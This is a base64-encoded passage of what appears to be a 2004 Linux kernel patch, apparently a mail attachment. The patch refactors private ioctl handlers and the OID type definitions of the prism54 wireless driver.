c2xwY2lfZ2V0X3N0YXRlKHByaXYpID49IFBSVl9TVEFURV9JTklUKSB7Ci0JCXJldCA9IGlzbHBj aV9tZ3RfdHJhbnNhY3Rpb24ocHJpdi0+bmRldiwgUElNRk9SX09QX0dFVCwgcHJpdi0+cHJpdl9v aWQsIGV4dHJhLCAyNTYsICZyZXNwb25zZSk7CisJCXJldCA9CisJCSAgICBpc2xwY2lfbWd0X3Ry YW5zYWN0aW9uKHByaXYtPm5kZXYsIFBJTUZPUl9PUF9HRVQsCisJCQkJCSAgIHByaXYtPnByaXZf b2lkLCBleHRyYSwgMjU2LAorCQkJCQkgICAmcmVzcG9uc2UpOwogCQlyZXNwb25zZV9vcCA9IHJl c3BvbnNlLT5oZWFkZXItPm9wZXJhdGlvbjsKIAkJcHJpbnRrKCIlczogcmV0OiAlaVxuIiwgbmRl di0+bmFtZSwgcmV0KTsKIAkJcHJpbnRrKCIlczogcmVzcG9uc2Vfb3A6ICVpXG4iLCBuZGV2LT5u YW1lLCByZXNwb25zZV9vcCk7Ci0JCWlmIChyZXQgfHwgIXJlc3BvbnNlIHx8IHJlc3BvbnNlLT5o ZWFkZXItPm9wZXJhdGlvbiA9PSBQSU1GT1JfT1BfRVJST1IpIHsKKwkJaWYgKHJldCB8fCAhcmVz cG9uc2UKKwkJICAgIHx8IHJlc3BvbnNlLT5oZWFkZXItPm9wZXJhdGlvbiA9PSBQSU1GT1JfT1Bf RVJST1IpIHsKIAkJCWlmIChyZXNwb25zZSkgewogCQkJCWlzbHBjaV9tZ3RfcmVsZWFzZShyZXNw b25zZSk7CiAJCQl9CkBAIC0yMDUxLDIxICsyMDY3LDI2IEBACiB9CiAKIGludAotcHJpc201NF9z ZXRfb2lkKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1Y3QgaXdfcmVxdWVzdF9pbmZvICpp bmZvLAorcHJpc201NF9kZWJ1Z19zZXRfb2lkKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1 Y3QgaXdfcmVxdWVzdF9pbmZvICppbmZvLAogCQlzdHJ1Y3QgaXdfcG9pbnQgKmRhdGEsIGNoYXIg KmV4dHJhKQogewogCWlzbHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJ c3RydWN0IGlzbHBjaV9tZ210ZnJhbWUgKnJlc3BvbnNlID0gTlVMTDsKIAlpbnQgcmV0ID0gMCwg cmVzcG9uc2Vfb3AgPSBQSU1GT1JfT1BfRVJST1I7CiAJCi0JcHJpbnRrKCIlczogc2V0X29pZCAw eCUwOFhcdGxlbjogJWRcbiIsIG5kZXYtPm5hbWUsIHByaXYtPnByaXZfb2lkLCBkYXRhLT5sZW5n dGgpOworCXByaW50aygiJXM6IHNldF9vaWQgMHglMDhYXHRsZW46ICVkXG4iLCBuZGV2LT5uYW1l LCBwcml2LT5wcml2X29pZCwKKwkgICAgICAgZGF0YS0+bGVuZ3RoKTsKIAkKIAlpZiAoaXNscGNp X2dldF9zdGF0ZShwcml2KSA+PSBQUlZfU1RBVEVfSU5JVCkgewotCQlyZXQgPSBpc2xwY2lfbWd0 X3RyYW5zYWN0aW9uKHByaXYtPm5kZXYsIFBJTUZPUl9PUF9TRVQsIHByaXYtPnByaXZfb2lkLCBl eHRyYSwgZGF0YS0+bGVuZ3RoLCAmcmVzcG9uc2UpOworCQlyZXQgPQorCQkgICAgaXNscGNpX21n dF90cmFuc2FjdGlvbihwcml2LT5uZGV2LCBQSU1GT1JfT1BfU0VULAorCQkJCQkgICBwcml2LT5w cml2X29pZCwgZXh0cmEsIGRhdGEtPmxlbmd0aCwKKwkJCQkJICAgJnJlc3BvbnNlKTsKIAkJcHJp bnRrKCIlczogcmV0OiAlaVxuIiwgbmRldi0+bmFtZSwgcmV0KTsKIAkJaWYgKCFyZXQpIHsKIAkJ CXJlc3BvbnNlX29wID0gcmVzcG9uc2UtPmhlYWRlci0+b3BlcmF0aW9uOwotCQkJcHJpbnRrKCIl czogcmVzcG9uc2Vfb3A6ICVpXG4iLCBuZGV2LT5uYW1lLCByZXNwb25zZV9vcCk7CisJCQlwcmlu dGsoIiVzOiByZXNwb25zZV9vcDogJWlcbiIsIG5kZXYtPm5hbWUsCisJCQkgICAgICAgcmVzcG9u c2Vfb3ApOwogCQkJaXNscGNpX21ndF9yZWxlYXNlKHJlc3BvbnNlKTsKIAkJfQogCQlpZiAocmV0 IHx8IHJlc3BvbnNlX29wID09IFBJTUZPUl9PUF9FUlJPUikgewpAQCAtMjEyOSwzMyArMjE1MCw0 NCBAQAogLyogVGhlIGxvdyBvcmRlciBiaXQgaWRlbnRpZnkgYSBTRVQgKDApIG9yIGEgR0VUICgx KSBpb2N0bC4gICovCiAKICNkZWZpbmUgUFJJU001NF9SRVNFVAkJU0lPQ0lXRklSU1RQUklWCi0j ZGVmaW5lIFBSSVNNNTRfR0VUX0JFQUNPTglTSU9DSVdGSVJTVFBSSVYrMQotI2RlZmluZSBQUklT TTU0X1NFVF9CRUFDT04JU0lPQ0lXRklSU1RQUklWKzIKLSNkZWZpbmUgUFJJU001NF9HRVRfUE9M SUNZIFNJT0NJV0ZJUlNUUFJJViszCi0jZGVmaW5lIFBSSVNNNTRfU0VUX1BPTElDWSBTSU9DSVdG SVJTVFBSSVYrNAotI2RlZmluZSBQUklTTTU0X0dFVF9NQUMgCSAgIFNJT0NJV0ZJUlNUUFJJVis1 Ci0jZGVmaW5lIFBSSVNNNTRfQUREX01BQyAJICAgU0lPQ0lXRklSU1RQUklWKzYKKyNkZWZpbmUg UFJJU001NF9HRVRfUE9MSUNZCVNJT0NJV0ZJUlNUUFJJVisxCisjZGVmaW5lIFBSSVNNNTRfU0VU X1BPTElDWQlTSU9DSVdGSVJTVFBSSVYrMgorI2RlZmluZSBQUklTTTU0X0dFVF9NQUMJCVNJT0NJ V0ZJUlNUUFJJViszCisjZGVmaW5lIFBSSVNNNTRfQUREX01BQwkJU0lPQ0lXRklSU1RQUklWKzQK KworI2RlZmluZSBQUklTTTU0X0RFTF9NQUMJCVNJT0NJV0ZJUlNUUFJJVis2CiAKLSNkZWZpbmUg UFJJU001NF9ERUxfTUFDICAgIFNJT0NJV0ZJUlNUUFJJVis4CisjZGVmaW5lIFBSSVNNNTRfS0lD S19NQUMJU0lPQ0lXRklSU1RQUklWKzgKIAotI2RlZmluZSBQUklTTTU0X0tJQ0tfTUFDICAgU0lP Q0lXRklSU1RQUklWKzEwCisjZGVmaW5lIFBSSVNNNTRfS0lDS19BTEwJU0lPQ0lXRklSU1RQUklW KzEwCiAKLSNkZWZpbmUgUFJJU001NF9LSUNLX0FMTCAgIFNJT0NJV0ZJUlNUUFJJVisxMgorI2Rl ZmluZSBQUklTTTU0X0dFVF9XUEEJCVNJT0NJV0ZJUlNUUFJJVisxMQorI2RlZmluZSBQUklTTTU0 X1NFVF9XUEEJCVNJT0NJV0ZJUlNUUFJJVisxMgogCi0jZGVmaW5lIFBSSVNNNTRfR0VUX1dQQQkg ICBTSU9DSVdGSVJTVFBSSVYrMTMKLSNkZWZpbmUgUFJJU001NF9TRVRfV1BBCSAgIFNJT0NJV0ZJ UlNUUFJJVisxNAorI2RlZmluZSBQUklTTTU0X0RCR19PSUQJCVNJT0NJV0ZJUlNUUFJJVisxNAor I2RlZmluZSBQUklTTTU0X0RCR19HRVRfT0lECVNJT0NJV0ZJUlNUUFJJVisxNQorI2RlZmluZSBQ UklTTTU0X0RCR19TRVRfT0lECVNJT0NJV0ZJUlNUUFJJVisxNgogCi0jZGVmaW5lIFBSSVNNNTRf T0lECSAgIFNJT0NJV0ZJUlNUUFJJVisxNgogI2RlZmluZSBQUklTTTU0X0dFVF9PSUQJICAgU0lP Q0lXRklSU1RQUklWKzE3Ci0jZGVmaW5lIFBSSVNNNTRfU0VUX09JRAkgICBTSU9DSVdGSVJTVFBS SVYrMTgKKyNkZWZpbmUgUFJJU001NF9TRVRfT0lEX1UzMglTSU9DSVdGSVJTVFBSSVYrMTgKKyNk ZWZpbmUJUFJJU001NF9TRVRfT0lEX1NUUglTSU9DSVdGSVJTVFBSSVYrMjAKKyNkZWZpbmUJUFJJ U001NF9TRVRfT0lEX0FERFIJU0lPQ0lXRklSU1RQUklWKzIyCisKKyNkZWZpbmUgSVdQUklWX1NF VF9VMzIobix4KQl7IG4sIElXX1BSSVZfVFlQRV9JTlQgfCBJV19QUklWX1NJWkVfRklYRUQgfCAx LCAwLCAic2V0XyJ4IH0KKyNkZWZpbmUgSVdQUklWX1NFVF9TU0lEKG4seCkJeyBuLCBJV19QUklW X1RZUEVfQ0hBUiB8IElXX1BSSVZfU0laRV9GSVhFRCB8IDEsIDAsICJzZXRfInggfQorI2RlZmlu ZSBJV1BSSVZfU0VUX0FERFIobix4KQl7IG4sIElXX1BSSVZfVFlQRV9BRERSIHwgSVdfUFJJVl9T SVpFX0ZJWEVEIHwgMSwgMCwgInNldF8ieCB9CisjZGVmaW5lIElXUFJJVl9HRVQobix4KQl7IG4s IDAsIElXX1BSSVZfVFlQRV9DSEFSIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgUFJJVl9TVFJfU0la RSwgImdldF8ieCB9CisKKyNkZWZpbmUgSVdQUklWX1UzMihuLHgpCQlJV1BSSVZfU0VUX1UzMihu LHgpLCBJV1BSSVZfR0VUKG4seCkKKyNkZWZpbmUgSVdQUklWX1NTSUQobix4KQlJV1BSSVZfU0VU X1NTSUQobix4KSwgSVdQUklWX0dFVChuLHgpCisjZGVmaW5lIElXUFJJVl9BRERSKG4seCkJSVdQ UklWX1NFVF9BRERSKG4seCksIElXUFJJVl9HRVQobix4KQorCisKKy8qIE5vdGUgOiBsaW1pdGVk IHRvIDEyOCBwcml2YXRlIGlvY3RscyAqLwogCiBzdGF0aWMgY29uc3Qgc3RydWN0IGl3X3ByaXZf YXJncyBwcmlzbTU0X3ByaXZhdGVfYXJnc1tdID0gewogLyp7IGNtZCwgc2V0X2FyZ3MsIGdldF9h cmdzLCBuYW1lIH0gKi8KIAl7UFJJU001NF9SRVNFVCwgMCwgMCwgInJlc2V0In0sCi0Je1BSSVNN NTRfR0VUX0JFQUNPTiwgMCwgSVdfUFJJVl9UWVBFX0lOVCB8IElXX1BSSVZfU0laRV9GSVhFRCB8 IDEsCi0JICJnZXRCZWFjb25QZXJpb2QifSwKLQl7UFJJU001NF9TRVRfQkVBQ09OLCBJV19QUklW X1RZUEVfSU5UIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgMSwgMCwKLQkgInNldEJlYWNvblBlcmlv ZCJ9LAogCXtQUklTTTU0X0dFVF9QT0xJQ1ksIDAsIElXX1BSSVZfVFlQRV9JTlQgfCBJV19QUklW X1NJWkVfRklYRUQgfCAxLAogCSAiZ2V0UG9saWN5In0sCiAJe1BSSVNNNTRfU0VUX1BPTElDWSwg SVdfUFJJVl9UWVBFX0lOVCB8IElXX1BSSVZfU0laRV9GSVhFRCB8IDEsIDAsCkBAIC0yMTcyLDE1 ICsyMjA0LDc3IEBACiAJICJnZXRfd3BhIn0sCiAJe1BSSVNNNTRfU0VUX1dQQSwgSVdfUFJJVl9U WVBFX0lOVCB8IElXX1BSSVZfU0laRV9GSVhFRCB8IDEsIDAsCiAJICJzZXRfd3BhIn0sCi0Je1BS SVNNNTRfT0lELCBJV19QUklWX1RZUEVfSU5UIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgMSwgMCwg Im9pZCJ9LAotCXtQUklTTTU0X0dFVF9PSUQsIDAsIElXX1BSSVZfVFlQRV9CWVRFIHwgMjU2LCAi Z2V0X29pZCJ9LAotCXtQUklTTTU0X1NFVF9PSUQsIElXX1BSSVZfVFlQRV9CWVRFIHwgMjU2LCAw LCAic2V0X29pZCJ9LAorCXtQUklTTTU0X0RCR19PSUQsIElXX1BSSVZfVFlQRV9JTlQgfCBJV19Q UklWX1NJWkVfRklYRUQgfCAxLCAwLAorCSAiZGJnX29pZCJ9LAorCXtQUklTTTU0X0RCR19HRVRf T0lELCAwLCBJV19QUklWX1RZUEVfQllURSB8IDI1NiwgImRiZ19nZXRfb2lkIn0sCisJe1BSSVNN NTRfREJHX1NFVF9PSUQsIElXX1BSSVZfVFlQRV9CWVRFIHwgMjU2LCAwLCAiZGJnX2dldF9vaWQi fSwKKwkvKiAtLS0gc3ViLWlvY3RscyBoYW5kbGVycyAtLS0gKi8KKwl7UFJJU001NF9HRVRfT0lE LAorCSAwLCBJV19QUklWX1RZUEVfQ0hBUiB8IElXX1BSSVZfU0laRV9GSVhFRCB8IFBSSVZfU1RS X1NJWkUsICIifSwKKwl7UFJJU001NF9TRVRfT0lEX1UzMiwKKwkgSVdfUFJJVl9UWVBFX0lOVCB8 IElXX1BSSVZfU0laRV9GSVhFRCB8IDEsIDAsICIifSwKKwl7UFJJU001NF9TRVRfT0lEX1NUUiwK KwkgSVdfUFJJVl9UWVBFX0NIQVIgfCBJV19QUklWX1NJWkVfRklYRUQgfCAxLCAwLCAiIn0sCisJ e1BSSVNNNTRfU0VUX09JRF9BRERSLAorCSBJV19QUklWX1RZUEVfQUREUiB8IElXX1BSSVZfU0la RV9GSVhFRCB8IDEsIDAsICIifSwKKwkvKiAtLS0gc3ViLWlvY3RscyBkZWZpbml0aW9ucyAtLS0g Ki8KKwlJV1BSSVZfQUREUihHRU5fT0lEX01BQ0FERFJFU1MsICJhZGRyIiksCisJSVdQUklWX0dF VChHRU5fT0lEX0xJTktTVEFURSwgImxpbmtzdGF0ZSIpLAorCUlXUFJJVl9VMzIoRE9UMTFfT0lE X0JTU1RZUEUsICJic3N0eXBlIiksCisJSVdQUklWX0FERFIoRE9UMTFfT0lEX0JTU0lELCAiYnNz aWQiKSwKKwlJV1BSSVZfVTMyKERPVDExX09JRF9TVEFURSwgInN0YXRlIiksCisJSVdQUklWX1Uz MihET1QxMV9PSURfQUlELCAiYWlkIiksCisKKwlJV1BSSVZfU1NJRChET1QxMV9PSURfU1NJRE9W RVJSSURFLCAic3NpZG92ZXJyaWRlIiksCisKKwlJV1BSSVZfVTMyKERPVDExX09JRF9NRURJVU1M SU1JVCwgIm1lZGxpbWl0IiksCisJSVdQUklWX1UzMihET1QxMV9PSURfQkVBQ09OUEVSSU9ELCAi YmVhY29uIiksCisJSVdQUklWX1UzMihET1QxMV9PSURfRFRJTVBFUklPRCwgImR0aW1wZXJpb2Qi KSwKKworCUlXUFJJVl9VMzIoRE9UMTFfT0lEX0FVVEhFTkFCTEUsICJhdXRoZW5hYmxlIiksCisJ SVdQUklWX1UzMihET1QxMV9PSURfUFJJVkFDWUlOVk9LRUQsICJwcml2aW52b2siKSwKKwlJV1BS SVZfVTMyKERPVDExX09JRF9FWFVORU5DUllQVEVELCAiZXh1bmVuY3J5cHQiKSwKKwkKKwlJV1BS SVZfVTMyKERPVDExX09JRF9SRUtFWVRIUkVTSE9MRCwgInJla2V5dGhyZXNoIiksCisKKwlJV1BS SVZfVTMyKERPVDExX09JRF9NQVhUWExJRkVUSU1FLCAibWF4dHhsaWZlIiksCisJSVdQUklWX1Uz MihET1QxMV9PSURfTUFYUlhMSUZFVElNRSwgIm1heHJ4bGlmZSIpLAorCUlXUFJJVl9VMzIoRE9U MTFfT0lEX0FMT0ZUX0ZJWEVEUkFURSwgImZpeGVkcmF0ZSIpLAorCUlXUFJJVl9VMzIoRE9UMTFf T0lEX01BWEZSQU1FQlVSU1QsICJmcmFtZWJ1cnN0IiksCisJSVdQUklWX1UzMihET1QxMV9PSURf UFNNLCAicHNtIiksCisKKwlJV1BSSVZfVTMyKERPVDExX09JRF9CUklER0VMT0NBTCwgImJyaWRn ZSIpLAorCUlXUFJJVl9VMzIoRE9UMTFfT0lEX0NMSUVOVFMsICJjbGllbnRzIiksCisJSVdQUklW X1UzMihET1QxMV9PSURfQ0xJRU5UU0FTU09DSUFURUQsICJjbGllbnRhc3NvYyIpLAorCUlXUFJJ Vl9VMzIoRE9UMTFfT0lEX0RPVDFYRU5BQkxFLCAiZG90MXhlbmFibGUiKSwKKwlJV1BSSVZfVTMy KERPVDExX09JRF9BTlRFTk5BUlgsICJyeGFudCIpLAorCUlXUFJJVl9VMzIoRE9UMTFfT0lEX0FO VEVOTkFUWCwgInR4YW50IiksCisJSVdQUklWX1UzMihET1QxMV9PSURfQU5URU5OQURJVkVSU0lU WSwgImFudGRpdmVycyIpLAorCUlXUFJJVl9VMzIoRE9UMTFfT0lEX0VEVEhSRVNIT0xELCAiZWR0 aHJlc2giKSwKKwlJV1BSSVZfVTMyKERPVDExX09JRF9QUkVBTUJMRVNFVFRJTkdTLCAicHJlYW1i bGUiKSwKKwlJV1BSSVZfR0VUKERPVDExX09JRF9SQVRFUywgInJhdGVzIiksCisJSVdQUklWX1Uz MihET1QxMV9PSURfT1VUUFVUUE9XRVIsICIuMTFvdXRwb3dlciIpLAorCUlXUFJJVl9HRVQoRE9U MTFfT0lEX1NVUFBPUlRFRFJBVEVTLCAic3VwcHJhdGVzIiksCisJSVdQUklWX0dFVChET1QxMV9P SURfU1VQUE9SVEVERlJFUVVFTkNJRVMsICJzdXBwZnJlcSIpLAorCisJSVdQUklWX1UzMihET1Qx MV9PSURfTk9JU0VGTE9PUiwgIm5vaXNlZmxvb3IiKSwKKwlJV1BSSVZfR0VUKERPVDExX09JRF9G UkVRVUVOQ1lBQ1RJVklUWSwgImZyZXFhY3Rpdml0eSIpLAorCUlXUFJJVl9VMzIoRE9UMTFfT0lE X05PTkVSUFBST1RFQ1RJT04sICJub25lcnBwcm90ZWMiKSwKKwlJV1BSSVZfVTMyKERPVDExX09J RF9QUk9GSUxFUywgInByb2ZpbGUiKSwKKwlJV1BSSVZfR0VUKERPVDExX09JRF9FWFRFTkRFRFJB VEVTLCJleHRyYXRlcyIpLAorCUlXUFJJVl9VMzIoRE9UMTFfT0lEX01MTUVBVVRPTEVWRUwsICJt bG1lbGV2ZWwiKSwKKworCUlXUFJJVl9HRVQoRE9UMTFfT0lEX0JTU1MsICJic3NzIiksCisJSVdQ UklWX0dFVChET1QxMV9PSURfQlNTTElTVCwgImJzc2xpc3QiKSwKKwlJV1BSSVZfVTMyKE9JRF9J TkxfTU9ERSwgIm1vZGUiKSwKKwlJV1BSSVZfVTMyKE9JRF9JTkxfQ09ORklHLCAiY29uZmlnIiks CisJSVdQUklWX1UzMihPSURfSU5MX0RPVDExRF9DT05GT1JNQU5DRSwgIi4xMWRjb25mb3JtIiks CisJSVdQUklWX0dFVChPSURfSU5MX1BIWUNBUEFCSUxJVElFUywgInBoeWNhcGEiKSwKKwlJV1BS SVZfVTMyKE9JRF9JTkxfT1VUUFVUUE9XRVIsICJvdXRwb3dlciIpLAogfTsKIAogc3RhdGljIGNv bnN0IGl3X2hhbmRsZXIgcHJpc201NF9wcml2YXRlX2hhbmRsZXJbXSA9IHsKIAkoaXdfaGFuZGxl cikgcHJpc201NF9yZXNldCwKLQkoaXdfaGFuZGxlcikgcHJpc201NF9nZXRfYmVhY29uLAotCShp d19oYW5kbGVyKSBwcmlzbTU0X3NldF9iZWFjb24sCiAJKGl3X2hhbmRsZXIpIHByaXNtNTRfZ2V0 X3BvbGljeSwKIAkoaXdfaGFuZGxlcikgcHJpc201NF9zZXRfcG9saWN5LAogCShpd19oYW5kbGVy KSBwcmlzbTU0X2dldF9tYWMsCkBAIC0yMTk0LDkgKzIyODgsMTYgQEAKIAkoaXdfaGFuZGxlcikg cHJpc201NF9nZXRfd3BhLAogCShpd19oYW5kbGVyKSBwcmlzbTU0X3NldF93cGEsCiAJKGl3X2hh bmRsZXIpIE5VTEwsCi0JKGl3X2hhbmRsZXIpIHByaXNtNTRfb2lkLAorCShpd19oYW5kbGVyKSBw cmlzbTU0X2RlYnVnX29pZCwKKwkoaXdfaGFuZGxlcikgcHJpc201NF9kZWJ1Z19nZXRfb2lkLAor CShpd19oYW5kbGVyKSBwcmlzbTU0X2RlYnVnX3NldF9vaWQsCiAJKGl3X2hhbmRsZXIpIHByaXNt NTRfZ2V0X29pZCwKLQkoaXdfaGFuZGxlcikgcHJpc201NF9zZXRfb2lkLAorCShpd19oYW5kbGVy KSBwcmlzbTU0X3NldF91MzIsCisJKGl3X2hhbmRsZXIpIE5VTEwsCisJKGl3X2hhbmRsZXIpIHBy aXNtNTRfc2V0X3JhdywKKwkoaXdfaGFuZGxlcikgTlVMTCwKKwkoaXdfaGFuZGxlcikgcHJpc201 NF9zZXRfcmF3LAorCiB9OwogCiBjb25zdCBzdHJ1Y3QgaXdfaGFuZGxlcl9kZWYgcHJpc201NF9o YW5kbGVyX2RlZiA9IHsKQEAgLTIyMDksMyArMjMxMCwxOCBAQAogCS5wcml2YXRlX2FyZ3MgPSAo c3RydWN0IGl3X3ByaXZfYXJncyAqKSBwcmlzbTU0X3ByaXZhdGVfYXJncywKIH07CiAKKy8qIFRo ZXNlIGlvY3RscyB3b24ndCB3b3JrIHdpdGggdGhlIG5ldyBBUEkgKi8KKworaW50CitwcmlzbTU0 X2lvY3RsKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1Y3QgaWZyZXEgKnJxLCBpbnQgY21k KQoreworCS8qc3RydWN0IGl3cmVxICp3cnEgPSAoc3RydWN0IGl3cmVxICopIHJxOworCSAgIGlz bHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CisJICAgaW50IHJldCA9IDA7 CisKKwkgICBzd2l0Y2ggKGNtZCkgeworCisJICAgfQorCSAqLworCXJldHVybiAtRU9QTk9UU1VQ UDsKK30KZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNsX29pZC5oIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsX29pZC5oCi0tLSBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF9vaWQuaAkyMDA0LTA1LTI4IDEzOjUzOjI5LjQwNjc5MzQ4MCArMDIwMAorKysgbGludXgtMi42 LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfb2lkLmgJMjAwNC0wNS0yOCAx Mzo1NjoxNi4xNjQ0NDI0NjQgKzAyMDAKQEAgLTQ1OCwxNiArNDU4LDI5IEBACiAJT0lEX05VTV9M QVNUCiB9OwogCi0vKiBXZSAgY291bGQgYWRkIG1vcmUgZmxhZ3MuIGVnOiBpbiB3aGljaCBtb2Rl IGFyZSB0aGV5IGFsbG93ZWQsIHJvLCBydywgLi4uKi8KLSNkZWZpbmUgT0lEX0ZMQUdfQ0FDSEVE CTB4MDEKLSNkZWZpbmUgT0lEX0ZMQUdfVTMyCTB4MDIKLSNkZWZpbmUgT0lEX0ZMQUdfTUxNRUVY CTB4MDQJLyogdGhpcyB0eXBlIGlzIHNwZWNpYWwgYmVjYXVzZSBvZiBhIHZhcmlhYmxlCi0JCQkJ ICAgc2l6ZSBmaWVsZCB3aGVuIHNlbmRpbmcuIE5vdCB5ZXQgaW1wbGVtZW50ZWQgKG5vdCB1c2Vk IGluIGRyaXZlcikuICovCisjZGVmaW5lIE9JRF9GTEFHX0NBQ0hFRAkJMHg4MAorI2RlZmluZSBP SURfRkxBR19UWVBFCQkweDdmCisKKyNkZWZpbmUgT0lEX1RZUEVfVTMyCQkweDAxCisjZGVmaW5l IE9JRF9UWVBFX1NTSUQJCTB4MDIKKyNkZWZpbmUgT0lEX1RZUEVfS0VZCQkweDAzCisjZGVmaW5l IE9JRF9UWVBFX0JVRkZFUgkJMHgwNAorI2RlZmluZSBPSURfVFlQRV9CU1MJCTB4MDUKKyNkZWZp bmUgT0lEX1RZUEVfQlNTTElTVAkweDA2CisjZGVmaW5lIE9JRF9UWVBFX0ZSRVFVRU5DSUVTCTB4 MDcKKyNkZWZpbmUgT0lEX1RZUEVfTUxNRQkJMHgwOAorI2RlZmluZSBPSURfVFlQRV9NTE1FRVgJ CTB4MDkKKyNkZWZpbmUgT0lEX1RZUEVfQUREUgkJMHgwQQorI2RlZmluZSBPSURfVFlQRV9SQVcJ CTB4MEIKKworLyogT0lEX1RZUEVfTUxNRUVYIGlzIHNwZWNpYWwgYmVjYXVzZSBvZiBhIHZhcmlh YmxlIHNpemUgZmllbGQgd2hlbiBzZW5kaW5nLgorICogTm90IHlldCBpbXBsZW1lbnRlZCAobm90 IHVzZWQgaW4gZHJpdmVyIGFueXdheSkuCisgKi8KIAogc3RydWN0IG9pZF90IHsKIAllbnVtIG9p ZF9udW1fdCBvaWQ7CiAJc2hvcnQgcmFuZ2U7CQkvKiB0byBkZWZpbmUgYSByYW5nZSBvZiBvaWQg Ki8KLQlzaG9ydCBzaXplOwkJLyogc2l6ZSBvZiB0aGUgYXNzb2NpYXRlZCBkYXRhICovCisJc2hv cnQgc2l6ZTsJCS8qIG1heCBzaXplIG9mIHRoZSBhc3NvY2lhdGVkIGRhdGEgKi8KIAljaGFyIGZs YWdzOwogfTsKIApAQCAtNDc5LDYgKzQ5Miw3IEBACiAjZGVmaW5lCUlXTUFYX0JJVFJBVEVTCTIw CiAjZGVmaW5lCUlXTUFYX0JTUwkyNAogI2RlZmluZSBJV01BWF9GUkVRCTMwCisjZGVmaW5lIFBS SVZfU1RSX1NJWkUJMTAyNAogCiAjZW5kaWYJCQkJLyogIWRlZmluZWQoX0lTTF9PSURfSCkgKi8K IC8qIEVPRiAqLwpkaWZmIC1OYXVyRWIgbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxlc3Mv cHJpc201NC9vaWRfbWd0LmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJp c201NC9vaWRfbWd0LmMKLS0tIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvb2lkX21ndC5jCTIwMDQtMDUtMjggMTM6NTM6MjkuNDA5NzkzMDI0ICswMjAwCisrKyBsaW51 eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYwkyMDA0LTA1 LTI4IDEzOjU2OjE2LjE2OTQ0MTcwNCArMDIwMApAQCAtMSw1ICsxLDUgQEAKIC8qICAgCi0gKiAg Q29weXJpZ2h0IChDKSAyMDAzIEF1cmVsaWVuIEFsbGVhdW1lIDxzbHRzQGZyZWUuZnI+CisgKiAg Q29weXJpZ2h0IChDKSAyMDAzLDIwMDQgQXVyZWxpZW4gQWxsZWF1bWUgPHNsdHNAZnJlZS5mcj4K ICAqCiAgKiAgVGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmli dXRlIGl0IGFuZC9vciBtb2RpZnkKICAqICBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBH ZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieQpAQCAtMzEsMTgyICszMSwxODkg QEAKIAk1MjQwLCA1MjYwLCA1MjgwLCA1MzAwLCA1MzIwCiB9OwogCi0jZGVmaW5lIE9JRF9VMzIo eCkge3gsIDAsIHNpemVvZih1MzIpLCBPSURfRkxBR19VMzJ9Ci0jZGVmaW5lIE9JRF9VMzJfQyh4 KSB7eCwgMCwgc2l6ZW9mKHUzMiksIE9JRF9GTEFHX1UzMiB8IE9JRF9GTEFHX0NBQ0hFRH0KLSNk ZWZpbmUgT0lEX1NUUlVDVCh4LHMpIHt4LCAwLCBzaXplb2YocyksIDB9Ci0jZGVmaW5lIE9JRF9T VFJVQ1RfQyh4LHMpIHt4LCAwLCBzaXplb2YocyksIE9JRF9GTEFHX0NBQ0hFRH0KLSNkZWZpbmUg T0lEX1NUUlVDVF9NTE1FKHgpe3gsIDAsIHNpemVvZihzdHJ1Y3Qgb2JqX21sbWUpLCAwfQotI2Rl ZmluZSBPSURfU1RSVUNUX01MTUVFWCh4KXt4LCAwLCBzaXplb2Yoc3RydWN0IG9ial9tbG1lZXgp LCBPSURfRkxBR19NTE1FRVh9CisjZGVmaW5lIE9JRF9TVFJVQ1QobmFtZSxvaWQscyx0KSBbbmFt ZV0gPSB7b2lkLCAwLCBzaXplb2YocyksIHR9CisjZGVmaW5lIE9JRF9TVFJVQ1RfQyhuYW1lLG9p ZCxzLHQpIE9JRF9TVFJVQ1QobmFtZSxvaWQscyx0IHwgT0lEX0ZMQUdfQ0FDSEVEKQorI2RlZmlu ZSBPSURfVTMyKG5hbWUsb2lkKSBPSURfU1RSVUNUKG5hbWUsb2lkLHUzMixPSURfVFlQRV9VMzIp CisjZGVmaW5lIE9JRF9VMzJfQyhuYW1lLG9pZCkgT0lEX1NUUlVDVF9DKG5hbWUsb2lkLHUzMixP SURfVFlQRV9VMzIpCisjZGVmaW5lIE9JRF9TVFJVQ1RfTUxNRShuYW1lLG9pZCkgT0lEX1NUUlVD VChuYW1lLG9pZCxzdHJ1Y3Qgb2JqX21sbWUsT0lEX1RZUEVfTUxNRSkKKyNkZWZpbmUgT0lEX1NU UlVDVF9NTE1FRVgobmFtZSxvaWQpIE9JRF9TVFJVQ1QobmFtZSxvaWQsc3RydWN0IG9ial9tbG1l ZXgsT0lEX1RZUEVfTUxNRUVYKQogCi0jZGVmaW5lIE9JRF9VTktOT1dOKHgpIHt4LCAwLCAwLCAw fQorI2RlZmluZSBPSURfVU5LTk9XTihuYW1lLG9pZCkgT0lEX1NUUlVDVChuYW1lLG9pZCwwLDAp CiAKIHN0cnVjdCBvaWRfdCBpc2xfb2lkW10gPSB7Ci0JW0dFTl9PSURfTUFDQUREUkVTU10gPSBP 